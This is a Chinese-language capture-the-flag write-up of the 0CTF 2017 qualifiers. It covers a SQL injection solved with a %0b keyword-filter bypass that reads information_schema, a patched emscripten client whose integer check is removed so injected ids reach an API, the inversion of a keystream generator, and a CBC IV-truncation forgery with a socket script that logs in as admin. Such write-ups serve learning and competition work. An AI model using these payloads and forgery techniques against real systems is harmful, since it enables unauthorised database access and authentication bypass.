又一次偶然的机会,有(ziji)幸(baoming)参加了 0CTF 2017。发挥出所有能力,22 道题解出 4 道(不算签到题),再一次感受到我与菊苣的差距..
Welcome
Welcome to 0CTF 2017~
irc: irc.freenode.net #0ctf2017
很标准的一道签到题,打开 https://webchat.freenode.net/(有 Google reCAPTCHA,需连接外网),进入 #0ctf2017 频道,公告栏获得 flag。
simplesqlin (Web)
http://202.120.7.203
A simple SQL Injection
观察 url 形式:http://202.120.7.203/index.php?id=1,猜测可以在 ID 注入。
简单尝试发现 http://202.120.7.203/index.php?id=1 or 1 limit 2,1 有结果,可以基本猜出 SQL 的形式如下:
SELECT * FROM news WHERE id=1
id 中有 select / from / where 时会提示
说明有简单的过滤,经过尝试发现这里可以用 %0b 来绕过。
1、index.php?id=99 union sel%0bect 1,2,3
可以猜出字段数为 3 个。
2、index.php?id=99 union sel%0bect 1,2,group_concat(distinct(table_name)) fro%0bm information_schema.columns
列出所有的表,并找到其中的 flag 表。
3、index.php?id=99 union sel%0bect 1,2,column_name fro%0bm information_schema.columns whe%0bre table_name=’flag’
列出字段,得到字段名:flag。
4、index.php?id=99 union sel%0bect 1,2,flag fro%0bm flag
flag{W4f_bY_paSS_f0R_CI}
KoG (Web)
King of Glory is a funny game. Our website has a list of players.
http://202.120.7.213:11181
functionn.js(原页面就是这么拼的 = =##)
看了下源码,发现 js 会取得 url 中的 id 参数,生成相应的 hash,并发送给服务器取得数据。
猜测这里的 id 参数有一处 sql 注入,于是尝试注入 id。
但 id 不接受非整数输入。分析代码发现,id 在 index.html 34行 生成,这里调用的函数 Module.main(value) 内部过滤了非整数的输入。
分析 functionn.js,发现里面是 js 实现的 LLVM(用的 emscripten),顿时懵逼。所幸 Chrome 支持调试这个 js,于是尝试定位到判断输入是否整数的代码中。
虽然代码完全看不懂(= =##),不过对 id 为整数和 id 为非整数两种情况的调试,可以找到流程中的差异。
通过一系列调试,找到两处判断的位置如下:
将 functionn.js 修改后,通过 Chrome 开发者工具将修改后的 js map 到本地(也可用 Fiddler 修改请求等),即可载入修改版 js。
此时 id 可以接受字符串输入了,为方便注入,写了段 js 丢到 console 中。
function inj(id) { var ar = Module.main(id).split("|"); if (ar.length==3) { var s = "api.php?id=" + encodeURIComponent(id) + "&hash=" + ar[0] + "&time=" + ar[1]; content = $.ajax({url:s, async:false}); console.log(content.responseText); } }
flag{emScripten_is_Cut3_right?}
oneTimePad (Crypto)
I swear that the safest cryptosystem is used to encrypt the secret!
oneTimePad.zip
压缩包内有两个文件:oneTimePad.py ciphertext
阅读 python 代码,了解运算流程:
true_secret = open('flag.txt').read()[:32] # true_secret 为 flag assert len(true_secret) == 32 print 'flag{%s}' % true_secret fake_secret1 = "I_am_not_a_secret_so_you_know_me" #0x495f616d5f6e6f745f615f7365637265745f736f5f796f755f6b6e6f775f6d65 fake_secret2 = "feeddeadbeefcafefeeddeadbeefcafe" #0x6665656464656164626565666361666566656564646561646265656663616665 secret = str2num(urandom(32)) # seed generator = keygen(secret) ctxt1 = hex(str2num(true_secret) ^ generator.next())[2:-1] # ctxt1 = 0xaf3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f # generator.next() 为 key = str2num(urandom(32)) = ??? ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1] # ctxt2 = 0x630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c # generator.next() 为 key2 = process(key, seed) # ∴ key2 = process(key, seed) = ctxt2 ^ fake_secret1 = 0x2a51d5b1bd1abdee4999363397902036332916fbce0982ebd3f5ece8e3ea3959 ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1] # generator.next() 为 key3 = process(key2, seed) # ctxt3 = 0xe913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b # generator.next() 为 key3 = process(key2, seed) # ∴ key3 = process(key2, seed) = ctxt3 ^ fake_secret2 = 0x8f76be63af819557a5a88fca37f631b750348eb8ab0cb69fbdb0b94e4a522b7e
因此这里的关键是 process 函数,只要能够通过 process 的输出求输入:
- process(key2, seed) 已知,通过输出求输入,得到 a1 = key2 ^ seed
- key2 已知,∴ seed = a1 ^ key2
- process(key, seed) 已知,通过输出求输入,得到 a2 = key ^ seed
- seed 已知,∴ key = a2 ^ seed
- ctxt1、key 已知,且 ctxt1 = true_secret ^ key,∴ true_secret = ctxt1 ^ key
- true_secret 就是 flag
通过尝试,发现将 process 的输出作为输入(m ^ k)运算 256 轮,最终结果与最初输入相同,因此我们可以写出 process 的反函数 arcprocess:
P = 0x10000000000000000000000000000000000000000000000000000000000000425L def process2(tmp): res = 0 for i in bin(tmp)[2:]: res = res << 1; if (int(i)): res = res ^ tmp if (res >> 256): res = res ^ P return res def arcprocess(tmp): for i in range(255): tmp = process2(tmp) return hex(tmp)
最终推得:
key2 ^ seed = 0x6d7d7e2073aed753412fbcb6fb38cc5826417711d111edca20a341631e0a5249
seed = 0x472cab91ceb46abd08b68a856ca8ec6e156861ea1f186f21f356ad8bfde06b10
key = 0xc6cf0fa61c3d08ec58f5baae935fda7a92ec2e16de8dd79e1ef90fa4aea60fe2
true_secret = 0x74305f42335f72346e646f4d5f656e305567685f31735f6e6563337335617259
将 true_secret 由 hex 转为文本(一个转换工具),得到 t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY,根据比赛规则加上 flag{}
flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}
integrity (Crypto)
Just a simple scheme.
nc 202.120.7.217 8221
integrity_f2ed28d6534491b42c922e7d21f59495.zip
这题算是我很喜欢的一道题,而且很有现实意义(我自己的生产项目里的算法也是这么用的 = =##)。当时看到题目一脸卧槽,心想这也有漏洞?结果之后发现真有漏洞.. 实在佩服出题者。
阅读代码,整个程序有一个注册功能,一个登录功能。发现要以 admin 用户名登录才能获得 flag。而这个用户名是通过解密 secret 来获取的,其中 secret 的算法是 IV + AES-CBC(MD5(pad(username)) + pad(username))。
由于 key 未知,因此只能通过程序的注册部分来获取 secret。而注册部分又禁止了 admin 用户名的注册,猜测要么破解注册部分,要么对获取到的 secret 做手脚。几次尝试之后发现,注册部分对 admin 的判断应该是没有问题,因此开始分析 secret。
我们随意生成一个 secret,45f751c822c96aaf0fa5fcab8d3b602519facafa9b2df8bf076a694a880374ff12ea907c7131f763d551f12a9f56de9a。
由于使用 AES-128-CBC 加密,IV 和区块长度都为 16 字节,因此这个 secret 可以分成以下几个部分:
45f751c822c96aaf0fa5fcab8d3b6025 # IV 19facafa9b2df8bf076a694a880374ff # [第1加密块] 正好是 AES 加密后的 MD5(pad(username)) 12ea907c7131f763d551f12a9f56de9a # [第2加密块] AES 加密后的 pad(username)
显而易见,修改 IV 或密文的任何一个部分,都会造成解密结果错误,进而造成 MD5(pad(username)) != pad(username),使程序直接丢弃解密结果。
换而言之,要让程序信任所提交的 secret,必须构造出 MD5(pad(username)) == pad(username)。
我们构造一个特殊的用户名,使之为 MD5(pad(“admin”)) + “admin”,这个用户名长度正好没有超出程序限制的 32 位。
注册这个用户名,获得 secret = e96fdb82030f6e8b79b58fdfe56563297db94b1d098559930269b3e6d0582f1277fc51a1b036ff8ce0b38724250bf917abc83d31b3e8b66e80fc81582d85c91c,分析看看:
e96fdb82030f6e8b79b58fdfe5656329 # IV 7db94b1d098559930269b3e6d0582f12 # [第1加密块] 加密后的 MD5(pad( MD5(pad("admin")) + pad("admin") )) 77fc51a1b036ff8ce0b38724250bf917 # [第2加密块] 加密后的 MD5(pad("admin")) abc83d31b3e8b66e80fc81582d85c91c # [第3加密块] 加密后的 pad("admin"),这里程序自动加了 padding
可以发现,第三行和第四行正是我们想构造的secret!问题来了,由于使用了 CBC 的工作模式,每一个分块加密的时候,会与上一分块的密文 xor(异或) 后进行加密,而第一个分块则与 IV 进行 xor,随意修改 IV / 加密块会造成解密失败:
但换个思路,由于每一块使用了上一块的密文加密(第一块使用 IV),我们可以将原本的 IV 丢弃,将第一块的密文用作 IV。
# e96fdb82030f6e8b79b58fdfe5656329 # 丢弃的 IV 7db94b1d098559930269b3e6d0582f12 # 新的 IV,不会被程序当作密文解密 77fc51a1b036ff8ce0b38724250bf917 # [第1加密块]加密后的 MD5(pad("admin")) abc83d31b3e8b66e80fc81582d85c91c # [第2加密块]加密后的 pad("admin")
此时发现,去掉第一行的 16 字节 IV 后,后面的三块成功构造出了一个完全合法的 secret。用这个新的 secret,就可以让程序成功解密出用户名 admin。
我们写一个程序来实现整个过程:
# encoding=utf-8 # based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py import sys from socket import * import re TARGET = ('202.120.7.217', 8221) s = socket() s.connect(TARGET) def rd(*suffixes): out = '' while 1: x = s.recv(1) if not x: raise EOFError() sys.stdout.write(x) sys.stdout.flush() out += x for suffix in suffixes: if out.endswith(suffix): break else: continue break return out def pr(x): s.send(x+'\n') print "<%s" % x rd('gin') pr("r") pr("218e2ab79d1ef718cc84a472450ba88f" #md5(pad(admin)) "61646d696e".decode("hex")) h = re.findall(r'([0-9a-f]{10,})', rd('gin')) h = h[0] # secret h = h[32:] # 去掉 secret 前16字节(IV) pr("l") pr(h) rd('}')
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}
Survey
Please fill out this Survey.
Thank you for participating in 0CTF 2017 Quals!
第一次知道 CTF 会有问卷调查 = =## 因为是 8:00 比赛结束前几个小时放的题目,很遗憾错过了。
一个 Google 问卷,上外网回答即可获得 flag。
做这次比赛已经算是用了全力了,尤其是两道 Crypto 题目,把我对密码学那些可怜的知识都用上了 ;w; Reverse 没有一题会做,Pwnable 则是直接放弃了。
Keep Learning..
Coxxs
来看Coxxs大佬鬼画符